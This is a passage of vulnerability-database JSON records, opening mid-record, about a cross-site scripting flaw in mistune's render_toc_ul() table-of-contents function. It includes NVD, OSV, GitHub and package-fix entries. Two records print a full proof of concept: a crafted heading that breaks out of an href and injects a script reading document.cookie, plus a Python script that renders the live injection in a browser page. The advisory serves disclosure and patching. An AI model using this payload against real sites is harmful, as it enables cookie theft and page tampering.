`text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "BREW-recon-ng-CVE-2026-44898",
  "modified": "2026-09-10T01:05:54Z",
  "published": "2026-08-13T17:32:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS",
  "upstream": [
    "GHSA-6269-cqxg-mhhv",
    "CVE-2026-44898",
    "PYSEC-2026-2208"
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.21.0-r5"
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Package tensorflow-gpu-jupyter version 2.21.0-r5 fixes 28 vulnerabilities: ghsa-rch3-82jr-f9w9, ghsa-mqcg-5x36-vfcg, ghsa-37w4-hwhx-4rc4, ghsa-mf9v-mfxr-j63j, ghsa-5mrq-x3x5-8v8f...",
  "id": "CLEANSTART-2026-GG76429",
  "modified": "2026-09-18T11:59:01.768079Z",
  "published": "2026-07-30T07:10:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://tensorflow.org"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fixes in tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "ghsa-rch3-82jr-f9w9",
    "ghsa-mqcg-5x36-vfcg",
    "ghsa-37w4-hwhx-4rc4",
    "ghsa-mf9v-mfxr-j63j",
    "ghsa-5mrq-x3x5-8v8f",
    "ghsa-5789-5fc7-67v3",
    "ghsa-qccp-gfcp-xxvc",
    "ghsa-24qx-w28j-9m6p",
    "ghsa-8mp2-v27r-99xp",
    "ghsa-qh7q-6qm3-653w",
    "ghsa-65pc-fj4g-8rjx",
    "ghsa-6269-cqxg-mhhv",
    "ghsa-ccfx-mfmx-2fx9",
    "ghsa-v87v-83h2-53w7",
    "CVE-2026-45409",
    "CVE-2026-35397",
    "CVE-2026-40110",
    "CVE-2026-40934",
    "CVE-2025-61669",
    "CVE-2026-40171",
    "CVE-2026-42266",
    "CVE-2026-42557",
    "CVE-2026-33079",
    "CVE-2026-44897",
    "CVE-2026-44898",
    "CVE-2026-44899",
    "CVE-2026-44431",
    "CVE-2026-44432"
  ],
  "withdrawn": "2026-09-18T11:59:01.768079Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "CleanStart",
        "name": "tensorflow-gpu-jupyter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0-r5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "credits": [],
  "database_specific": {},
  "details": "Security vulnerability affects the tensorflow-gpu-jupyter package. This issue is resolved in later releases. See references for vulnerability details.",
  "id": "CLEANSTART-2026-PO47077",
  "modified": "2026-08-14T12:25:42Z",
  "published": "2026-09-18T09:43:42.962109Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-PO47077.json"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    }
  ],
  "related": [],
  "schema_version": "1.7.3",
  "summary": "Security fix for CVE-2026-44898 applied in: tensorflow-gpu-jupyter 2.21.0-r5",
  "upstream": [
    "CVE-2026-44898"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mistune",
          "vendor": "lepture",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A91629D7-7A30-4A3F-B1AD-17FE21D59820",
              "versionEndExcluding": "3.2.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a \u003cul\u003e table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href=\"#\u003cid\u003e\") and the text value (used as the visible link label) are inserted into \u003ca\u003e tags via a plain Python format string \u2014 with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href=\"#...\" attribute context, injecting arbitrary HTML tags including \u003cscript\u003e blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1."
    },
    {
      "lang": "es",
      "value": "Mistune es un analizador de Markdown para Python con renderizadores y complementos. Antes de la versi\u00f3n 3.2.1, render_toc_ul() construye un \u00e1rbol \u003cul\u003e de tabla de contenidos a partir de una lista de tuplas (nivel, id, texto). Tanto el valor de \u0027id\u0027 (usado como href=\u0027#\u003cid\u003e\u0027) como el valor de \u0027text\u0027 (usado como la etiqueta visible del enlace) se insertan en etiquetas \u003ca\u003e a trav\u00e9s de una cadena de formato de Python simple - sin aplicar escape HTML a ninguno de los valores. Cuando los IDs de los encabezados se derivan del texto de encabezado proporcionado por el usuario (el caso de uso est\u00e1ndar para anclas de slug legibles), un atacante puede crear un encabezado cuyo texto rompe el contexto del atributo href=\u0027#...\u0027, inyectando etiquetas HTML arbitrarias, incluidos bloques \u003cscript\u003e, directamente en la tabla de contenidos renderizada. Esta vulnerabilidad se corrige en la versi\u00f3n 3.2.1."
    }
  ],
  "id": "CVE-2026-44898",
  "lastModified": "2026-07-24T11:10:00.170",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-44898",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-27T17:57:34.250055Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-26T21:16:39.810",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T16:36:12Z",
    "nvd_published_at": "2026-05-26T21:16:39Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n    ...\n    for level, k, text in toc:\n        # k   = heading id  (used verbatim as href fragment)\n        # text = heading text (used verbatim as link label)\n        item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n        # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003ex\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u0026lt;a href=\u0026quot;\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n```\n\nThe `\u003cscript\u003e` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune\u0027s inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere.\n\n### Script\n\nI have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H4: render_toc_ul() puts raw heading ID into \u003ca href\u003e without escaping.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\nfrom mistune.toc import add_toc_hook, render_toc_ul\n\ndef raw_id(token, index):\n    return token.get(\"text\", \"\")\n\n# --- baseline ---\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_file = \"baseline_h4.md\"\nbl_src  = \"# Introduction\\n\\n## Installation\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[toc output \u2014 safe]\")\nprint(bl_out)\n\n# --- exploit ---\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n\nex_file = \"exploit_h4.md\"\nex_src  = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[toc output \u2014 script injected via href breakout]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eTOC output \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH4 \u2014 TOC XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH4 \u2014 TOC render_toc_ul() XSS\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_toc_ul() in toc.py uses \u0027\u0026lt;a href=\"#{{}}\"\u0026gt;{{}}\u0026lt;/a\u0026gt;\u0027.format(k, text) \u2014\nneither k (the heading ID) nor text is escaped before insertion.\u003c/p\u003e\n{case(\"baseline\", \"Normal headings \u2192 sequential IDs \u2192 clean TOC links\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Malicious heading ID breaks out of href=\u0027#...\u0027 \u2192 script injected\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h4.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce you run the script, open `report_h4.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page\u0027s origin |\n| **Integrity**    | Arbitrary DOM manipulation, phishing form injection, forced redirects |\n| **Availability** | Page crash or freeze available as secondary effect |\n\n**Risk context:** TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.",
  "id": "GHSA-6269-cqxg-mhhv",
  "modified": "2026-06-08T23:30:27Z",
  "published": "2026-05-14T16:36:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-6269-cqxg-mhhv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44898"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/04880a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune TOC Anchor Injection XSS"
}